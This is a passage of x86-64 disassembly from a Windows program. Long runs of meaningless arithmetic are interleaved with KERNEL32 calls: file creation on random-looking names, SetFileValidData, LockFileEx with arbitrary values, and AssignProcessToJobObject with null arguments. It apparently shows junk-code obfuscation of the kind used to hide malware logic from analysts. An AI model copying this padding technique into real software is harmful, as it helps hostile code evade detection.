mov byte [rsp + 0x64e], al
movzx eax, byte [rsp + 0x68d]
mov byte [rsp + 0x6b5], al
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b20]
sub eax, ecx
mov word [rsp + 0x2c90], ax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov dword [rsp + 0xa824], eax
mov rax, qword [rsp + 0x14840]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4e8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8a80], eax
mov eax, dword [rsp + 0x7700]
mov ecx, dword [rsp + 0x8fdc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa2a8], eax
mov rcx, qword [rsp + 0x14320]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa7cc], eax
mov rax, qword [0x14028ee90]
mov eax, dword [rax]
mov dword [rsp + 0xa828], eax
mov eax, dword [rsp + 0xa4e4]
mov ecx, dword [rsp + 0xa3b8]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c60], eax
movzx eax, byte [rsp + 0x302]
movzx ecx, byte [rsp + 0x673]
sub eax, ecx
mov byte [rsp + 0x491], al
movzx eax, word [rsp + 0x2338]
movzx ecx, word [rsp + 0x2ca0]
xor eax, ecx
mov word [0x140282704], ax
mov rax, qword [rsp + 0x140b8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14238]
mov qword [rsp + 0x14908], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14908]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8c5c], eax
mov rax, qword [0x14028ed40]
mov rcx, qword [rsp + 0x14688]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa680], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa69c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa538], eax
mov rax, qword [rsp + 0x145d0]
mov eax, dword [rax]
mov dword [rsp + 0xa82c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa830], eax
mov rcx, qword [rsp + 0x147e0]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0xa5e8], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14618]
mov qword [rsp + 0x14910], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14910]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x7800], eax
movzx eax, byte [rsp + 0x6b5]
mov byte [rsp + 0x6b6], al
lea rcx, [rsp + 0x21a90]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movzx eax, word [rsp + 0x2c14]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a1c], ax
movsx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x24d], al
mov rax, qword [rsp + 0x147f0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x142c0]
mov word [rcx], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov eax, dword [rsp + 0xa520]
mov dword [0x14028ed34], eax
mov rax, qword [rsp + 0x147e8]
mov rcx, qword [rsp + 0x147a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa578], eax
lea rax, [rsp + 0x2d2c]
mov qword [rsp + 0x14918], rax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x650]
sub eax, ecx
mov byte [rsp + 0x631], al
mov eax, dword [rsp + 0xa5ac]
mov dword [rsp + 0xa834], eax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [rsp + 0x64b4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x80c0], eax
mov rax, qword [rsp + 0x144c0]
mov ecx, dword [rsp + 0xa64c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x779c], eax
mov eax, dword [rsp + 0xa818]
mov dword [rsp + 0xa838], eax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14670]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x687], al
movzx eax, word [rsp + 0x2c44]
movzx ecx, word [rsp + 0x1740]
add eax, ecx
mov word [0x1402826d0], ax
mov rax, qword [rsp + 0x14440]
mov ecx, dword [0x1402826d4]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x85d0], eax
mov rax, qword [rsp + 0x144c0]
mov rcx, qword [rsp + 0x14640]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa50c], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14300]
mov qword [rsp + 0x14920], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14920]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa77c], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov dword [rsp + 0xa83c], eax
mov rax, qword [rsp + 0x146c0]
mov rcx, qword [rsp + 0x141f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa500], eax
movzx eax, byte [rsp + 0x632]
mov byte [rsp + 0x6b7], al
movsx eax, word [rsp + 0x2cbc]
mov rcx, qword [0x14028ed58]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2d30], ax
movzx eax, word [rsp + 0x2c0c]
movzx ecx, word [rsp + 0x2b74]
add eax, ecx
mov word [rsp + 0x2d74], ax
movzx eax, byte [rsp + 0x659]
movzx ecx, byte [rsp + 0x68d]
add eax, ecx
mov byte [0x140281e1b], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.EAyRSpQP0Juv5XENyez1KSSQMw13FAO9kxrAoE
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14928], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0xa2a0], eax
mov eax, dword [rsp + 0xa540]
mov ecx, dword [rsp + 0xa370]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa078], eax
mov rax, qword [rsp + 0x14618]
mov rcx, qword [rsp + 0x148d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14730]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
mov byte [rsp + 0x6b8], al
mov rcx, qword [rsp + 0x14928]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xa5e8], eax
movzx eax, word [rsp + 0x2ca8]
movzx ecx, word [rsp + 0x2c14]
sub eax, ecx
mov word [rsp + 0x2d58], ax
mov eax, dword [rsp + 0xa398]
mov dword [rsp + 0xa840], eax
mov rax, qword [rsp + 0x147d0]
mov ecx, dword [rsp + 0xa4e8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa7a0], eax
mov rax, qword [rsp + 0x14630]
mov rcx, qword [rsp + 0x14420]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa620], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa738], eax
mov eax, dword [rsp + 0xa448]
mov dword [rsp + 0xa844], eax
movzx eax, byte [rsp + 0x685]
movzx ecx, byte [0x14028eec1]
add eax, ecx
mov byte [0x140281dcb], al
movzx eax, word [rsp + 0x2340]
mov rcx, qword [rsp + 0x14310]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2964], ax
lea rax, [rsp + 0xa67c]
mov qword [rsp + 0x14930], rax
mov rax, qword [rsp + 0x14858]
mov rcx, qword [rsp + 0x14580]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9f14], eax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x655], al
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.HYjIctQKFuj57bPmnN
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14938], rax
mov rax, qword [rsp + 0x142b0]
movsx eax, word [rax]
movsx ecx, word [0x140282764]
shl eax, cl
mov word [rsp + 0x1b80], ax
movzx eax, word [rsp + 0x2b50]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c94], ax
movzx eax, byte [rsp + 0x69f]
mov byte [rsp + 0x6b9], al
mov rax, qword [0x14028ee10]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x148c0]
mov qword [rsp + 0x14940], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14940]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0x14588]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147c0]
mov ecx, dword [rsp + 0xa3d0]
mov eax, dword [rax]
xor eax, ecx
mov dword [0x140282798], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa5ac]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x80fc], eax
mov rax, qword [rsp + 0x14880]
mov eax, dword [rax]
mov dword [rsp + 0xa848], eax
mov eax, dword [rsp + 0xa554]
mov ecx, dword [rsp + 0xa464]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6bc], eax
movzx eax, byte [rsp + 0x68e]
mov rcx, qword [rsp + 0x145a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x156], al
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov qword [rsp + 0x14108], rax
lea rcx, [rsp + 0x24590]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov dword [rsp + 0xa798], eax
movzx eax, word [rsp + 0x2d48]
movzx ecx, word [rsp + 0x2338]
and eax, ecx
mov word [rsp + 0x22a8], ax
mov eax, dword [rsp + 0x7730]
mov dword [rsp + 0xa84c], eax
mov rax, qword [0x14028ee98]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8590]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa384], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa758]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa410], eax
mov rax, qword [rsp + 0x147a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9ca4]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ee88], eax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa850], eax
mov rax, qword [0x14028ee78]
movzx eax, word [rax]
mov word [rsp + 0x2d90], ax
movzx eax, byte [rsp + 0x638]
movzx ecx, byte [rsp + 0x68a]
sub eax, ecx
mov byte [rsp + 0x664], al
movsx eax, byte [rsp + 0x28d]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x160], al
movsx eax, word [0x1402826b8]
mov rcx, qword [rsp + 0x14448]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x2c28], ax
mov eax, dword [rsp + 0xa3f4]
movzx ecx, al
mov eax, dword [rsp + 0x85d0]
shl eax, cl
mov rcx, qword [rsp + 0x14618]
mov dword [rcx], eax
mov eax, dword [0x1402826b0]
mov dword [rsp + 0xa854], eax
movzx eax, word [rsp + 0x2b4c]
movzx ecx, word [rsp + 0x2b38]
xor eax, ecx
mov rcx, qword [rsp + 0x140d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x6ba], al
mov eax, dword [rsp + 0xa574]
mov dword [0x14028ed30], eax
mov eax, dword [rsp + 0x8c08]
mov rcx, qword [rsp + 0x14490]
mov qword [rsp + 0x14948], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14948]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa7e4], eax
mov rax, qword [rsp + 0x14720]
mov rcx, qword [rsp + 0x141d0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa47c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa5b0], eax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [rsp + 0x14380]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x66f4], eax
mov rax, qword [rsp + 0x14888]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6a0]
add eax, ecx
mov rcx, qword [rsp + 0x14460]
mov byte [rcx], al
movzx eax, word [rsp + 0x2bfc]
mov word [rsp + 0x2d94], ax
mov rax, qword [0x14028edd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa434]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa77c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa304]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x140d0]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov qword [rsp + 0x14128], rax
mov eax, dword [rsp + 0xa430]
mov dword [rsp + 0xa858], eax
mov rax, qword [0x14028ed40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9790]
and ecx, eax
mov eax, ecx
mov dword [0x14028279c], eax
mov rax, qword [rsp + 0x146c0]
mov ecx, dword [rsp + 0xa6c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa35c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
movsx eax, word [rsp + 0x1948]
mov rcx, qword [0x14028ed38]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x273c], ax
movsx eax, byte [rsp + 0x2e9]
mov rcx, qword [rsp + 0x140b0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x66d], al
movzx eax, byte [rsp + 0x586]
mov byte [rsp + 0x6bb], al
mov rax, qword [rsp + 0x14650]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2d38]
sub eax, ecx
mov word [rsp + 0x2c0c], ax
mov rax, qword [rsp + 0x147d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa624]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa638], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov dword [rsp + 0xa85c], eax
movzx eax, byte [rsp + 0x114]
movzx ecx, byte [0x140281dba]
xor eax, ecx
mov byte [rsp + 0x6a5], al
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c24]
shl eax, cl
mov word [0x1402826bc], ax
mov eax, dword [rsp + 0x7854]
mov dword [rsp + 0xa860], eax
mov eax, dword [rsp + 0xa660]
mov rcx, qword [rsp + 0x148e8]
mov qword [rsp + 0x14950], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14950]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0xa844], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9108]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0xa710], eax
mov rax, qword [rsp + 0x148d8]
mov rcx, qword [rsp + 0x14840]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6938], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa864], eax
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x2d08]
sub eax, ecx
mov word [rsp + 0x2d94], ax
movzx eax, byte [rsp + 0x644]
mov byte [rsp + 0x6bc], al
mov rax, qword [rsp + 0x14688]
mov rcx, qword [0x14028ee90]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa438], eax
mov edx, 0x4b95e5
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa29c], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x120f
mov r9d, 0x12e4
mov r8d, 0x2f71d7a7
mov edx, 2
mov rcx, qword [rsp + 0x14928]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa748], eax
mov rax, qword [rsp + 0x14288]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x9790]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa854], eax
movsx eax, byte [rsp + 0x649]
movsx ecx, byte [rsp + 0x672]
sub eax, ecx
mov byte [0x140281e2e], al
mov rax, qword [rsp + 0x14138]
movzx eax, word [rax]
mov word [rsp + 0x2d98], ax
movzx eax, word [rsp + 0x2bc8]
movzx ecx, word [rsp + 0x2bf8]
and eax, ecx
mov word [rsp + 0x2d14], ax
movzx eax, byte [rsp + 0x6b5]
mov rcx, qword [rsp + 0x14620]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xb9], al
mov eax, dword [rsp + 0xa4f4]
mov ecx, dword [rsp + 0xa61c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa848], eax
mov eax, dword [rsp + 0xa788]
mov ecx, dword [rsp + 0xa3f0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7ec], eax
mov eax, dword [0x1402826ac]
mov dword [rsp + 0xa868], eax
mov rax, qword [rsp + 0x141d0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14898]
mov qword [rsp + 0x14958], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14958]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x9774], eax
mov eax, dword [rsp + 0xa710]
mov dword [rsp + 0xa86c], eax
movzx eax, word [rsp + 0x2ba4]
mov rcx, qword [rsp + 0x14430]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2c44], ax
movzx eax, byte [rsp + 0x251]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [0x14028ed70], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa870], eax
mov rax, qword [rsp + 0x14840]
mov ecx, dword [rsp + 0xa4a0]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x7c28], eax
mov eax, dword [rsp + 0xa448]
mov ecx, dword [rsp + 0xa434]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x145d0]
mov dword [rcx], eax
mov eax, dword [rsp + 0x65a8]
mov ecx, dword [rsp + 0xa5f8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8ca4], eax
mov rax, qword [rsp + 0x14238]
mov eax, dword [rax]
mov dword [rsp + 0xa874], eax
movzx eax, word [rsp + 0x25d8]
movzx ecx, word [rsp + 0x2bec]
sub eax, ecx
mov word [rsp + 0x2bf0], ax
movzx eax, byte [rsp + 0x640]
mov byte [rsp + 0x6bd], al
mov rax, qword [rsp + 0x14120]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13e88]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x68c], al
movsx eax, word [rsp + 0x2d20]
mov rcx, qword [rsp + 0x14190]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c20], ax
mov rax, qword [rsp + 0x144a8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa638]
add ecx, eax
mov eax, ecx
mov rcx, qword [0x14028ee10]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14490]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa840]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9b48], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x15d4], ax
movzx eax, byte [rsp + 0x64b]
mov byte [rsp + 0x6be], al
mov eax, dword [rsp + 0xa2e0]
mov ecx, dword [rsp + 0xa764]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146c0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x147f8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa4f4]
shr eax, cl
mov dword [rsp + 0xa628], eax
mov rax, qword [rsp + 0x14688]
mov eax, dword [rax]
mov dword [rsp + 0xa878], eax
mov rax, qword [rsp + 0x14720]
mov ecx, dword [rsp + 0xa5dc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14348]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2c14]
mov word [rsp + 0x2d9c], ax
lea rax, [rsp + 0x67a]
mov qword [0x14028ed28], rax
mov rax, qword [0x14028ee38]
mov ecx, dword [rsp + 0xa2e4]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x14840]
mov dword [rcx], eax
mov rax, qword [rsp + 0x144d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14288]
mov qword [rsp + 0x14960], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14960]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x8288], eax
mov rax, qword [rsp + 0x146c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa400]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c34], eax
mov rax, qword [rsp + 0x144e0]
mov ecx, dword [rsp + 0xa3c0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa62c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa7e0], eax
mov rcx, qword [rsp + 0x147e0]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov edx, 0x11a212
mov rcx, qword [rsp + 0x14598]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa5e8], eax
mov rax, qword [rsp + 0x14720]
mov eax, dword [rax]
mov dword [rsp + 0xa87c], eax
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
imul eax, eax, 0x232
mov word [rsp + 0x2be8], ax
lea rax, [rsp + 0x68c]
mov qword [rsp + 0x14968], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x143e8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bfc]
sub eax, ecx
mov word [rsp + 0x2b38], ax
movzx ecx, word [rsp + 0x2ba0]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2cb0], ax
movzx eax, byte [rsp + 0x1ae]
mov byte [0x14028ed22], al
mov rax, qword [0x14028ee98]
mov ecx, dword [rsp + 0xa57c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14218]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14618]
mov eax, dword [rax]
mov dword [rsp + 0xa880], eax
movzx eax, byte [rsp + 0x302]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x170], al
mov r9d, 2
xor r8d, r8d
mov edx, 0xcc5a
mov rcx, qword [rsp + 0x146f0]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0xa884], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetProcessPriorityBoost]
mov rax, qword [rsp + 0x14100]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14778]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x26c8], ax
mov rax, qword [rsp + 0x14110]
mov ecx, dword [rsp + 0xa6e0]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa5c0], eax
mov rax, qword [rsp + 0x14380]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6d88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa4b0], eax
mov rcx, qword [rsp + 0x141a8]
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov eax, dword [rsp + 0x8c34]
mov dword [rsp + 0xa888], eax
mov rax, qword [rsp + 0x14820]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x65a8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa390], eax
movzx eax, word [rsp + 0x2d04]
movzx ecx, word [rsp + 0x2bc8]
and eax, ecx
mov word [0x140282770], ax
mov rax, qword [rsp + 0x14548]
movzx eax, byte [rax]
mov byte [rsp + 0x6bf], al
mov eax, dword [rsp + 0xa5bc]
movzx ecx, al
mov eax, dword [rsp + 0xa6dc]
shr eax, cl
mov dword [rsp + 0xa408], eax
mov rax, qword [rsp + 0x14580]
mov eax, dword [rax]
mov ecx, dword [0x14028ed6c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa02c], eax
movsx eax, byte [rsp + 0x632]
mov rcx, qword [rsp + 0x14678]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x49c], al
movsx eax, word [rsp + 0x2bd4]
movsx ecx, word [0x1402826cc]
shl eax, cl
mov word [rsp + 0x2ce0], ax
movzx eax, byte [rsp + 0x33b]
mov byte [rsp + 0x6c0], al
movzx eax, word [rsp + 0x25d8]
movzx ecx, word [rsp + 0x2d04]
sub eax, ecx
mov rcx, qword [rsp + 0x14590]
mov word [rcx], ax
mov rax, qword [0x14028ee28]
mov eax, dword [rax]
mov dword [rsp + 0xa88c], eax
mov rax, qword [rsp + 0x14018]
mov ecx, dword [rsp + 0xa460]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402827a0], eax
mov rax, qword [rsp + 0x14738]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa480]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14178]
mov dword [rcx], eax
mov rax, qword [0x14028eea8]
mov rcx, qword [rsp + 0x14238]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa488], eax
mov rax, qword [rsp + 0x14420]
mov ecx, dword [rsp + 0xa394]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ddc], eax
movzx eax, byte [rsp + 0x694]
movzx ecx, byte [rsp + 0x6bd]
add eax, ecx
mov rcx, qword [rsp + 0x142a0]
mov byte [rcx], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov word [rsp + 0x2da0], ax
mov eax, dword [rsp + 0xa40c]
mov ecx, dword [rsp + 0xa6d8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa878], eax
mov rax, qword [rsp + 0x14730]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa7a0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x8f10], eax
lea rax, [rsp + 0x7790]
mov qword [rsp + 0x14970], rax
lea rcx, [rsp + 0x22608]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0x146f8]
mov ecx, dword [rsp + 0xa3a0]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14028270c], eax
mov rax, qword [rsp + 0x14430]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2ce4]
add eax, ecx
mov rcx, qword [rsp + 0x143e8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x687]
mov byte [rsp + 0x6c1], al
mov rax, qword [rsp + 0x13e88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x643]
add eax, ecx
mov byte [rsp + 0x160], al
movsx eax, word [rsp + 0x2cfc]
movsx ecx, word [rsp + 0x2c40]
sar eax, cl
mov word [rsp + 0x2c28], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ClearCommBreak]
mov rax, qword [rsp + 0x148c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa4e8]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x81a0], eax
mov rax, qword [rsp + 0x140f0]
mov ecx, dword [rsp + 0x7350]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0xa618], eax
mov rax, qword [rsp + 0x14280]
movzx eax, byte [rax]
mov byte [rsp + 0x6c2], al
movzx eax, word [rsp + 0x2154]
mov rcx, qword [rsp + 0x14600]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0x2d70], ax
mov eax, dword [0x14028edc4]
mov ecx, dword [rsp + 0xa858]
and ecx, eax
mov eax, ecx
mov dword [0x1402827a4], eax
mov eax, dword [rsp + 0xa278]
mov dword [rsp + 0xa890], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa894], eax
mov eax, dword [rsp + 0xa6fc]
mov ecx, dword [rsp + 0x7714]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13f10]
mov dword [rcx], eax
mov rax, qword [0x14028ee70]
mov ecx, dword [rsp + 0x6c58]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xa638], eax
mov rax, qword [rsp + 0x14698]
movzx eax, byte [rax]
mov byte [rsp + 0x6c3], al
mov edx, 0x3f3fc5
mov rcx, qword [rsp + 0x146f0]
